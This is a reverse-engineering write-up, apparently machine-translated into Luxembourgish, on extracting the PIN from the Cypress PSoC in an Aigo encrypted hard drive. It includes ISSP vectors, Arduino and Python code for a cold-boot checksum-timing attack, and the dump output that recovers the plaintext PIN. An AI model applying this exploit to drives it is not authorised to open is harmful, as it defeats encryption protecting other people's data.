Ëmgekéiert an Hacking Aigo selbstverschlësselte externen HDD Drive. Deel 2: Huelt en Dump vum Cypress PSoC

Dëst ass den zweeten a leschten Deel vum Artikel iwwer Hacking vun externen selbstverschlësselende Drive. Loosst mech Iech drun erënneren, datt e Kolleg viru kuerzem e Patriot (Aigo) SK8671 Festplack bruecht, an ech decidéiert et ëmgedréint, an elo deelen ech wat eraus koum. Ier Dir weider liest, gitt sécher ze liesen éischten Deel Artikelen.

4. Mir fänken un engem Dump aus dem internen PSoC Flash Drive ze huelen
5. ISSP Protokoll
– 5.1. Wat ass ISSP
-5.2. Demystifying Vectors
-5.3. Kommunikatioun mat PSoC
– 5.4. Identifikatioun vun on-Chip Registere
-5.5. Sécherheet Bits
6. Éischt (ausgefall) Attack: ROMX
7. Zweet Attack: Kalt Boot Tracing
-7.1. Ëmsetzung
-7.2. D'Resultat liesen
-7.3. Flash binäre Rekonstruktioun
– 7.4. Fannt d'PIN Code Späicheradress
-7.5. Huelt en Dump vum Block Nr 126
– 7.6. PIN Code Erhuelung
8. Wat ass nächst?
9. Konklusioun

Ëmgekéiert an Hacking Aigo selbstverschlësselte externen HDD Drive. Deel 2: Huelt en Dump vum Cypress PSoC


4. Mir fänken un engem Dump aus dem internen PSoC Flash Drive ze huelen

Also, alles weist (wéi mir am [den éischten Deel]() festgestallt hunn), datt de PIN-Code an der Flashdiefe vum PSoC gespäichert ass. Dofir, musse mir dës Flash Déiften liesen. Virun der néideger Aarbecht:

  • Kontroll iwwer "Kommunikatioun" mam Mikrokontroller iwwerhuelen;
  • e Wee fannen fir ze kontrolléieren ob dës "Kommunikatioun" vu baussen geschützt ass;
  • fannen e Wee fir de Schutz ze ëmgoen.

Et ginn zwou Plazen wou et Sënn mécht fir e gültege PIN Code ze sichen:

  • intern Flash Erënnerung;
  • SRAM, wou de Pin Code gespäichert ka ginn fir et mat dem Pin Code ze vergläichen deen de Benotzer aginn huet.

Wann ech no vir kucken, bemierken ech datt ech et nach ëmmer fäerdeg bruecht hunn en Dump vum internen PSoC Flash Drive ze huelen - säi Sécherheetssystem ëmgoen mat engem Hardwareattack genannt "Cold Boot Tracing" - nodeems ech déi ondokumentéiert Fäegkeeten vum ISSP Protokoll ëmgedréit hunn. Dëst huet mir erlaabt den aktuellen PIN Code direkt ze dumpen.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Finale Programm Code:

5. ISSP Protokoll

5.1. Wat ass ISSP

"Kommunikatioun" mat engem Mikrokontroller kann verschidde Saache bedeiten: vu "Verkeefer zu Verkeefer" bis Interaktioun mat engem Serienprotokoll (zum Beispill ICSP fir de PIC vum Microchip).

Cypress huet säin eegene propriétaire Protokoll fir dëst, genannt ISSP (In-System Serial Programméierungsprotokoll), deen deelweis beschriwwe gëtt an technesch Spezifizéierung. Patent US7185162 gëtt och e puer Informatiounen. Et gëtt och en OpenSource Äquivalent genannt HSSP (mir wäerte se e bësse méi spéit benotzen). ISSP funktionnéiert wéi follegt:

  • Restart PSoC;
  • erausginn d'Magie Zuel un de Serien Date Pin vun dësem PSoC; externe Programméierungsmodus anzeginn;
  • schéckt Kommandoen, déi laang Stéck Strings genannt "Vektoren".

D'ISSP Dokumentatioun definéiert dës Vektore fir nëmmen eng kleng Handvoll Kommandoen:

  • Initialisieren - 1
  • Initialisieren - 2
  • Initialize-3 (3V an 5V Optiounen)
  • ID-SETUP
  • VIRLIESEN-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, wou dddddddd=block #
  • BULK läschen
  • PROGRAMM-BLOCK
  • VERIFIE-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, wou DDDDDDDD = Daten eraus, aaaaaa = Adress (6 Bits)
  • OPSCHREIWEN-BYTE: 10010aaaaaaddddddd111, wou dddddddd = Daten an, aaaaaa = Adress (6 Bits)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDDDZ1, wou DDDDDDDDDDDDDDDDDD = Daten eraus: Apparat Kontrollsum
  • LËSCHT BLOCK

Zum Beispill, de Vektor fir Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

All Vecteure hunn déi selwecht Längt: 22 Bits. D'HSSP Dokumentatioun huet e puer zousätzlech Informatioun iwwer ISSP: "En ISSP Vektor ass näischt méi wéi eng Bitsequenz déi eng Rei vun Instruktiounen duerstellt."

5.2. Demystifying Vectors

Loosst eis erausfannen wat hei lass ass. Am Ufank hunn ech ugeholl datt déiselwecht Vecteure rau Versioune vu M8C-Instruktioune waren, awer nodeems ech dës Hypothese iwwerpréift hunn, hunn ech entdeckt datt d'Opcodes vun den Operatiounen net passen.

Dunn hunn ech de Vecteur hei uewen gegooglet a koum op hei ass et eng Etude wou den Auteur, obwuel hien net an den Detail geet, e puer nëtzlech Tipps gëtt: "All Instruktioun fänkt mat dräi Bits un, déi zu enger vu véier Mnemonics entspriechen (vum RAM liesen, op RAM schreiwen, registréieren, registréieren). Da ginn et 8 Adressbits, gefollegt vun 8 Datebits (liesen oder schreiwen) a schliisslech dräi Stoppbits.

Duerno konnt ech e puer ganz nëtzlech Informatioune vun der Supervisory ROM (SROM) Sektioun sammelen. technesch Handbuch. SROM ass eng haart kodéiert ROM am PSoC déi Utilityfunktiounen ubitt (op eng ähnlech Manéier wéi Syscall) fir Programmcode déi am Benotzerraum leeft:

  • 00h:SWBootReset
  • 01h: Liesblock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Kalibréieren 0
  • 09h: Kalibréieren 1

Andeems Dir Vektornamen mat SROM Funktiounen vergläicht, kënne mir déi verschidden Operatiounen, déi vun dësem Protokoll ënnerstëtzt ginn, op déi erwaart SROM Parameter kartéieren. Dank dësem kënne mir déi éischt dräi Bits vun ISSP Vecteure decodéieren:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Wéi och ëmmer, e komplette Verständnis vun On-Chip Prozesser kann nëmmen duerch direkt Kommunikatioun mam PSoC kritt ginn.

5.3. Kommunikatioun mat PSoC

Zanter Dirk Petrautsky huet schonn portéiert Cypress's HSSP Code op Arduino, Ech hunn Arduino Uno benotzt fir mam ISSP Connector vun der Keyboard Board ze verbannen.

W.e.g. notéiert datt ech am Laf vu menger Fuerschung dem Dirk säi Code zimmlech geännert hunn. Dir kënnt meng Ännerung op GitHub fannen: hei an déi entspriechend Python Skript fir mat Arduino ze kommunizéieren, a mengem Repository cypress_psoc_tools.

Also, mat Arduino, hunn ech fir d'éischt nëmmen déi "offiziell" Vektore fir "Kommunikatioun" benotzt. Ech hu probéiert d'intern ROM mat dem VERIFY Kommando ze liesen. Wéi erwaart, konnt ech dat net maachen. Wahrscheinlech wéinst der Tatsaach datt Liesschutzbits am Flash Drive aktivéiert sinn.

Duerno hunn ech e puer vun mengen eegene einfache Vecteure erstallt fir Erënnerung / Register ze schreiwen an ze liesen. Notéiert w.e.g. datt mir de ganze SROM kënne liesen och wann de Flash Drive geschützt ass!

5.4. Identifikatioun vun on-Chip Registere

Nodeems ech déi "demontéiert" Vecteure gekuckt hunn, hunn ech entdeckt datt den Apparat ondokumentéiert Registere benotzt (0xF8-0xFA) fir M8C-Opcodes ze spezifizéieren, déi direkt ausgefouert ginn, de Schutz ëmgoen. Dëst huet mir erlaabt verschidde Opcodes auszeféieren wéi "ADD", "MOV A, X", "PUSH" oder "JMP". Dank hinnen (duerch d'Nebenwirkungen ze kucken, déi se op d'Register hunn) konnt ech feststellen, wéi eng vun den ondokumentéierte Registere tatsächlech regulär Registere waren (A, X, SP a PC).

Als Resultat gesäit de "demontéierten" Code generéiert vum HSSP_disas.rb Tool esou aus (Ech hunn Kommentare fir Kloerheet bäigefüügt):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Sécherheet Bits

Op dëser Etapp kann ech scho mat der PSoC kommunizéieren, awer ech hunn nach ëmmer keng zouverlässeg Informatioun iwwer d'Sécherheetsbits vum Flash Drive. Ech war ganz iwwerrascht vun der Tatsaach datt Cypress de Benotzer vum Apparat kee Mëttel gëtt fir ze kontrolléieren ob de Schutz aktivéiert ass. Ech hunn méi déif a Google gegruewen fir endlech ze verstoen datt den HSSP Code, dee vum Cypress geliwwert gëtt, aktualiséiert gouf nodeems Dirk seng Ännerung verëffentlecht huet. An esou! Dësen neie Vektor ass erschéngt:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Mat dësem Vecteure (kuckt read_security_data an psoc.py), kréien mir all Sécherheetsbits am SRAM op 0x80, wou et zwee Bits pro geschützte Block sinn.

D'Resultat ass depriméierend: alles ass geschützt am Modus "Ausschalten extern Liesen a Schreiwen". Dofir kënne mir net nëmmen näischt aus engem Flash Drive liesen, awer mir kënnen och näischt schreiwen (zum Beispill fir e ROM Dumper do ze installéieren). An deen eenzege Wee fir de Schutz auszeschalten ass de ganzen Chip komplett ze läschen. 🙁

6. Éischt (ausgefall) Attack: ROMX

Wéi och ëmmer, mir kënnen de folgenden Trick probéieren: well mir d'Fäegkeet hunn arbiträr Opcodes auszeféieren, firwat net ROMX ausféieren, wat benotzt gëtt fir Flash Memory ze liesen? Dës Approche huet eng gutt Chance fir Erfolleg. Well d'ReadBlock Funktioun déi Daten aus dem SROM liest (déi vu Vecteure benotzt gëtt) kontrolléiert ob se vum ISSP genannt gëtt. Wéi och ëmmer, de ROMX Opcode kann eventuell net sou e Scheck hunn. Also hei ass de Python Code (nodeems e puer Helfer Klassen un den Arduino Code bäigefüügt hunn):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Leider funktionéiert dëse Code net. 🙁 Oder éischter et funktionnéiert, awer um Output kréien mir eis eege Opcoden (0x28 0x30 0x40)! Ech denken net datt déi entspriechend Funktionalitéit vum Apparat en Element vum Liesschutz ass. Dëst ass méi wéi en Ingenieurstrick: wann Dir extern Opcoden ausféiert, gëtt de ROM-Bus op en temporäre Puffer ëmgeleet.

7. Zweet Attack: Kalt Boot Tracing

Well de ROMX Trick net funktionnéiert, hunn ech ugefaang un eng aner Variatioun vun dësem Trick ze denken - an der Publikatioun beschriwwen "Ze vill Liicht op de Firmware Schutz vun engem Mikrokontroller verginn".

7.1. Ëmsetzung

D'ISSP Dokumentatioun bitt de folgende Vektor fir CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dëst nennt wesentlech SROM Funktioun 0x07, wéi an der Dokumentatioun presentéiert (kursiv Mine):

Dës Funktioun Checksum Verifikatioun. Et berechent eng 16-Bit Checksum vun der Unzuel vun de Benotzer spezifizéierte Blocken an enger Flashbank, ab Null. De BLOCKID Parameter gëtt benotzt fir d'Zuel vun de Blocken ze passéieren déi benotzt gi wann d'Kontrollsumm berechnen. E Wäert vun "1" wäert nëmmen d'Kontrollsumme fir Spär Null berechnen; woubäi "0" wäert d'total Kontrollsumme vun all 256 Block vun der Flash Bank berechent ginn. De 16-Bit Checksum gëtt iwwer KEY1 a KEY2 zréckginn. De KEY1 Parameter späichert déi niddereg Uerdnung 8 Bits vun der Checksum, an de KEY2 Parameter späichert déi héich Uerdnung 8 Bits. Fir Apparater mat e puer Flash Banken gëtt d'Checksum Funktioun fir all eenzel separat genannt. D'Banknummer, mat där et funktionnéiert, gëtt vum FLS_PR1-Register festgeluegt (duerch datt de Bit an et entsprécht der Zil-Flashbank).

Bedenkt datt dëst eng einfach Kontrollsumme ass: d'Bytes ginn einfach een nom aneren dobäigesat; keng ausgefalene CRC Quirks. Zousätzlech, wëssend datt de M8C Kär e ganz klenge Set vu Registere huet, hunn ech ugeholl datt wann Dir d'Kontrollsumm berechnen, Zwëschewäerter an de selwechte Variabelen opgeholl ginn, déi schlussendlech op d'Ausgab goen: KEY1 (0xF8) / KEY2 ( 0xF9).

Also an der Theorie gesäit meng Attack esou aus:

  1. Mir verbannen iwwer ISSP.
  2. Mir starten d'Kontrollsumberechnung mat dem CHECKSUM-SETUP-Vektor.
  3. Mir starten de Prozessor no enger spezifizéierter Zäit T.
  4. Mir liesen RAM fir den aktuellen Checksum C ze kréien.
  5. Widderhuelen Schrëtt 3 an 4, Erhéijung T e bëssen all Kéier.
  6. Mir recuperéieren Daten aus engem Flash Drive andeems Dir de fréiere Checksum C vun der aktueller subtrahéiert.

Wéi och ëmmer, et gëtt e Problem: den Initialize-1 Vecteur dee mir nom Restart schécken mussen iwwerschreift KEY1 a KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dëse Code iwwerschreift eis wäertvollt Checksum andeems Dir Calibrate1 (SROM Funktioun 9) nennt ... Vläicht kënne mir just d'Magienummer schécken (vum Ufank vum Code uewen) fir de Programméierungsmodus anzegoen, an dann de SRAM liesen? An jo, et funktionnéiert! Den Arduino Code deen dësen Attack implementéiert ass ganz einfach:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Liesen checkum_delay.
  2. Run Checksum Berechnung (send_checksum_v).
  3. Waart fir eng spezifizéierter Zäit; déi folgend Falen berücksichtegen:
    • Ech hunn vill Zäit verschwend bis ech erausfonnt hunn wat et erauskënnt delayMicroseconds Wierker korrekt nëmme mat Verspéidungen net méi wéi 16383 μs;
    • an dann erëm déi selwecht Zäit ëmbruecht bis ech entdeckt datt delayMicroseconds, wann 0 et als Input weiderginn, Wierker komplett falsch!
  4. Restart de PSoC an de Programméierungsmodus (mir schécken just d'Magienummer, ouni Initialisierungsvektoren ze schécken).

Finale Code am Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

An enger Nossschuel, wat dëse Code mécht:

  1. Restart de PSoC (a schéckt et eng magesch Nummer).
  2. Schéckt voll initialization Vecteure.
  3. Rufft d'Arduino Funktioun Cmnd_STK_START_CSUM (0x85), wou d'Verzögerung a Mikrosekonnen als Parameter passéiert ass.
  4. Liest d'Kontrollsumme (0xF8 an 0xF9) an den ondokumentéierte Register 0xF1.

Dëse Code gëtt 10 Mol an 1 Mikrosekonn ausgefouert. 0xF1 ass hei abegraff well et deen eenzege Register war deen sech beim Berechnung vun der Kontrollsum geännert huet. Vläicht ass et eng Aart temporär Variabel, déi vun der arithmetescher Logik Eenheet benotzt gëtt. Notéiert den ellenen Hack deen ech benotze fir den Arduino mat Picocom zréckzesetzen wann den Arduino ophält Zeeche vum Liewen ze weisen (keng Ahnung firwat).

7.2. D'Resultat liesen

D'Resultat vum Python Skript gesäit esou aus (vereinfacht fir Liesbarkeet):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Wann dat gesot gëtt, hu mir e Problem: well mir mat enger aktueller Kontrollsum operéieren, ännert en Nullbyte net de Lieswäert. Wéi och ëmmer, well déi ganz Berechnungsprozedur (8192 Bytes) 0,1478 Sekonnen dauert (mat liichte Variatiounen all Kéier wann se lafen), wat ongeféier 18,04 μs pro Byte entsprécht, kënne mir dës Zäit benotze fir de Checksumwäert zu passenden Zäiten ze kontrolléieren. Fir déi éischt Lafen ass alles ganz einfach gelies, well d'Dauer vun der Berechnungsprozedur ëmmer bal d'selwecht ass. Wéi och ëmmer, d'Enn vun dësem Dump ass manner präzis well déi "kleng Timing Deviatioune" op all Laf eropgoen fir bedeitend ze ginn:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Dat sinn 10 Dumps fir all Mikrosekonne Verzögerung. Déi total Operatiounszäit fir all 8192 Bytes vun engem Flash Drive ze dumpen ass ongeféier 48 Stonnen.

7.3. Flash binäre Rekonstruktioun

Ech hunn nach net fäerdeg de Code ze schreiwen, deen de Programmcode vum Flash Drive komplett rekonstruéiert, all Zäitabweichungen berücksichtegt. Wéi och ëmmer, ech hunn den Ufank vun dësem Code scho restauréiert. Fir sécherzestellen datt ech et richteg gemaach hunn, hunn ech et mat m8cdis ofgebaut:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Gesäit ganz plausibel aus!

7.4. Fannt d'PIN Code Späicheradress

Elo datt mir de Checksum zu den Zäite kënne liesen déi mir brauchen, kënne mir einfach kontrolléieren wéi a wou et ännert wann mir:

  • gitt de falsche PIN Code;
  • änneren de Pin Code.

Als éischt, fir déi geschätzte Späicheradress ze fannen, hunn ech e Checksum Dump an 10 ms Inkremente geholl no engem Neistart. Duerno hunn ech de falsche PIN aginn an hunn datselwecht gemaach.

D'Resultat war net ganz agreabel, well et vill Ännerungen goufen. Awer um Enn konnt ech feststellen datt de Checksum iergendwou tëscht 120000 µs an 140000 µs Verzögerung geännert huet. Awer de "Pincode", deen ech do ugewisen hunn, war komplett falsch - wéinst engem Artefakt vun der DelayMicroseconds Prozedur, déi komesch Saache mécht wann 0 un et passéiert.

Dann, nodeems ech bal 3 Stonnen verbruecht hunn, hunn ech mech drun erënnert datt de SROM System Call CheckSum en Argument als Input kritt, deen d'Zuel vu Blocks fir de Checksum spezifizéiert! Dat. mir kënnen d'Späicheradress vum PIN Code an de Konter "falsch Versich" einfach lokaliséieren, mat enger Genauegkeet vu bis zu engem 64-Byte Block.

Meng initial Runen hunn dat folgend Resultat produzéiert:

Ëmgekéiert an Hacking Aigo selbstverschlësselte externen HDD Drive. Deel 2: Huelt en Dump vum Cypress PSoC

Dunn hunn ech de PIN Code vun "123456" op "1234567" geännert a krut:

Ëmgekéiert an Hacking Aigo selbstverschlësselte externen HDD Drive. Deel 2: Huelt en Dump vum Cypress PSoC

Sou schéngen de PIN-Code an de Comptoir vu falsche Versich am Block Nummer 126 gespäichert ze sinn.

7.5. Huelt en Dump vum Block Nr 126

Block #126 soll iergendwou ronderëm 125x64x18 = 144000μs, vum Ufank vun der Checksum Berechnung, a mengem vollen Dump sinn, an et gesäit ganz plausibel aus. Duerno, nodeems ech vill ongëlteg Dumps manuell aussiwen (wéinst der Akkumulation vu "klengen Timing Deviatiounen"), hunn ech endlech dës Bytes kritt (mat enger latency vun 145527 μs):

Ëmgekéiert an Hacking Aigo selbstverschlësselte externen HDD Drive. Deel 2: Huelt en Dump vum Cypress PSoC

Et ass ganz offensichtlech datt de PIN Code an onverschlësselte Form gespäichert ass! Dës Wäerter sinn natierlech net an ASCII Coden geschriwwe ginn, awer wéi et sech erausstellt, reflektéieren se d'Messungen aus der kapazitiver Tastatur.

Endlech hunn ech e puer méi Tester gemaach fir ze fannen wou de schlechte Versuchscounter gespäichert ass. Hei d'Resultat:

Ëmgekéiert an Hacking Aigo selbstverschlësselte externen HDD Drive. Deel 2: Huelt en Dump vum Cypress PSoC

0xFF - heescht "15 Versich" an et reduzéiert mat all gescheitert Versuch.

7.6. PIN Code Erhuelung

Hei ass mäi ellent Code deen dat uewe setzt:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Hei ass d'Resultat vu senger Ausféierung:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hour! Wierker!

Notéiert w.e.g. datt d'Latenzwäerter déi ech benotzt hunn méiglecherweis relevant sinn fir ee spezifesche PSoC - deen deen ech benotzt hunn.

8. Wat ass nächst?

Also, loosst eis op der PSoC Säit zesummefaassen, am Kontext vun eisem Aigo Drive:

  • mir kënnen SRAM liesen och wann et gelies geschützt ass;
  • Mir kënnen den Anti-Swipe-Schutz ëmgoen andeems Dir e kale Boot Trace Attack benotzt an direkt de PIN Code liest.

Wéi och ëmmer, eis Attack huet e puer Mängel wéinst Synchroniséierungsproblemer. Et kéint wéi follegt verbessert ginn:

  • Schreift en Utility fir d'Ausgabdaten korrekt ze decodéieren, déi als Resultat vun engem "kale Boot Trace" Attack kritt ginn;
  • benotzt en FPGA Gadget fir méi präzis Zäitverzögerungen ze kreéieren (oder Arduino Hardware Timer benotzen);
  • probéiert eng aner Attack: gitt e bewosst falsche PIN Code, Restart an dump RAM, an der Hoffnung datt de richtege PIN Code am RAM fir de Verglach gespäichert gëtt. Wéi och ëmmer, dëst ass net sou einfach op Arduino ze maachen, well den Arduino Signalniveau 5 Volt ass, wärend de Board dee mir iwwerpréiwen funktionnéiert mat 3,3 Volt Signaler.

Eng interessant Saach déi probéiert ka ginn ass mam Spannungsniveau ze spillen fir de Liesschutz ze ëmgoen. Wann dës Approche funktionnéiert, kënne mir absolut korrekt Daten vum Flash Drive kréien - amplaz op d'Liesen vun engem Checksum mat onpräzisen Timing Verspéidungen ze vertrauen.

Zënter datt de SROM wahrscheinlech d'Gardbits iwwer de ReadBlock System Uruff liest, kënne mir datselwecht maachen wéi beschriwwen op dem Dmitry Nedospasov säi Blog - eng nei Ëmsetzung vum Chris Gerlinski Attack, annoncéiert op der Konferenz "REcon Bréissel 2017".

Eng aner lëschteg Saach, déi ka gemaach ginn, ass de Fall vum Chip ofzeschneiden: e SRAM Dump ze huelen, ondokumentéiert Systemruffen a Schwachstelle z'identifizéieren.

9. Konklusioun

Also, de Schutz vun dësem Drive léisst vill ze Wënsch, well et e reguläre (net "gehärten") Mikrokontroller benotzt fir de PIN Code ze späicheren ... Plus, ech hunn (nach) net gekuckt wéi et mat Daten leeft Verschlësselung op dësem Apparat!

Wat kënnt Dir fir Aigo recommandéieren? Nodeems ech e puer Modeller vu verschlësselten HDD-Laufwerke analyséiert hunn, hunn ech 2015 gemaach Presentatioun op SyScan, an deem hien d'Sécherheetsproblemer vu verschiddenen externen HDD-Laufwerke iwwerpréift huet, an Empfehlungen gemaach huet, wat an hinnen ka verbessert ginn. 🙂

Ech hunn zwee Weekender an e puer Owender dës Fuerschung gemaach. Insgesamt ongeféier 40 Stonnen. Vun Ufank un zielen (wann ech den Disk opgemaach hunn) bis zum Enn (PIN Code Dump). Déi selwecht 40 Stonnen enthalen d'Zäit déi ech verbruecht hunn dësen Artikel ze schreiwen. Et war eng ganz spannend Rees.

